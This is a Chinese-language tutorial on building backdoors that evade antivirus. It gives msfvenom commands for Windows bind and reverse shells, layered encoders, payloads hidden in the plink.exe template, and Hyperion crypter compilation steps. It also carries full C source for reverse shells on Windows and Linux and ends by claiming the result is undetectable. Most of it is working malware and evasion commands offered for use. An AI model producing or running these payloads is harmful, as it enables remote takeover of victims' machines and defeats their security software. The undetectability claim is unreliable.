生成反弹shell

  msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe

加密编码反弹shell

msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o a.exe

● 编码后的程序会降低一定的检测率，但由于加密程序过于有名，所以效果不明显

● 利用模板隐藏shell

msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe

● 利用模板隐藏进行加密

msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > b.exe

软件保护

● 软件开发商为保护版权，采用混淆和加密软件避免盗版逆向
● 常被恶意软件用于免杀目的

Hyperion（32bit PE程序加密器）

● Crypter / Container（解密器+PE Loader）

#先将源代码下载下来
https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip
#将压缩包解包
unzip Hyperion-1.2.zip
#利用两个静态链接库去编译加密器，使得可以在windows平台上运行
  cd Hyperion-1.2 && i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o h.exe
#安装wine32，为了可以运行32位程序
  dpkg --add-architecture i386 && apt-get update && apt-get install wine32
#跟上面一样，用加密方式去生成shell
  msfvenom -p windows/shell/reverse_tcp lhost=192.168.1.15 lport=4444 --platform win -e x86/shikata_ga_nai -a x86 -f exe -o a.exe

#利用加密器来加密shell，将a.exe加密生成b.exe
  wine h.exe a.exe b.exe

这样生成的程序，会进一步降低被杀概率

自己编写后门

Windows reverse shell
wine gcc.exe windows.c -o windows.exe -lws2_32

#windows_Reverse_shell.c
#include <winsock2.h>
#include <windows.h>
#include <io.h>
#include <process.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* ================================================== */
/* |     CHANGE THIS TO THE CLIENT IP AND PORT      | */
/* ================================================== */
#if !defined(CLIENT_IP) || !defined(CLIENT_PORT)
# define CLIENT_IP (char*)"0.0.0.0"
# define CLIENT_PORT (int)0
#endif
/* ================================================== */

int main(void) {
	if (strcmp(CLIENT_IP, "0.0.0.0") == 0 || CLIENT_PORT == 0) {
		write(2, "[ERROR] CLIENT_IP and/or CLIENT_PORT not defined.\n", 50);
		return (1);
	}

	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2 ,2), &wsaData) != 0) {
		write(2, "[ERROR] WSASturtup failed.\n", 27);
		return (1);
	}

	int port = CLIENT_PORT;
	struct sockaddr_in sa;
	SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	sa.sin_family = AF_INET;
	sa.sin_port = htons(port);
	sa.sin_addr.s_addr = inet_addr(CLIENT_IP);

#ifdef WAIT_FOR_CLIENT
	while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
		Sleep(5000);
	}
#else
	if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
		write(2, "[ERROR] connect failed.\n", 24);
		return (1);
	}
#endif

	STARTUPINFO sinfo;
	memset(&sinfo, 0, sizeof(sinfo));
	sinfo.cb = sizeof(sinfo);
	sinfo.dwFlags = (STARTF_USESTDHANDLES);
	sinfo.hStdInput = (HANDLE)sockt;
	sinfo.hStdOutput = (HANDLE)sockt;
	sinfo.hStdError = (HANDLE)sockt;
	PROCESS_INFORMATION pinfo;
	CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo);

	return (0);
}

Linux shell

gcc linux_revers_shell.c -o linux
##Linux_Reverse_Shell.c


#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* ================================================== */
/* |     CHANGE THIS TO THE CLIENT IP AND PORT      | */
/* ================================================== */
#if !defined(CLIENT_IP) || !defined(CLIENT_PORT)
# define CLIENT_IP (char*)"0.0.0.0"
# define CLIENT_PORT (int)0
#endif
/* ================================================== */

int main(void) {
	if (strcmp(CLIENT_IP, "0.0.0.0") == 0 || CLIENT_PORT == 0) {
		write(2, "[ERROR] CLIENT_IP and/or CLIENT_PORT not defined.\n", 50);
		return (1);
	}

	pid_t pid = fork();
	if (pid == -1) {
		write(2, "[ERROR] fork failed.\n", 21);
		return (1);
	}
	if (pid > 0) {
		return (0);
	}

	struct sockaddr_in sa;
	sa.sin_family = AF_INET;
	sa.sin_port = htons(CLIENT_PORT);
	sa.sin_addr.s_addr = inet_addr(CLIENT_IP);
	int sockt = socket(AF_INET, SOCK_STREAM, 0);

#ifdef WAIT_FOR_CLIENT
	while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
		sleep(5);
	}
#else
	if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
		write(2, "[ERROR] connect failed.\n", 24);
		return (1);
	}
#endif

	dup2(sockt, 0);
	dup2(sockt, 1);
	dup2(sockt, 2);
	char * const argv[] = {"/bin/sh", NULL};
	execve("/bin/sh", argv, NULL);

	return (0);
}

说明是可用的

● 而且是免杀的，无法被检测出来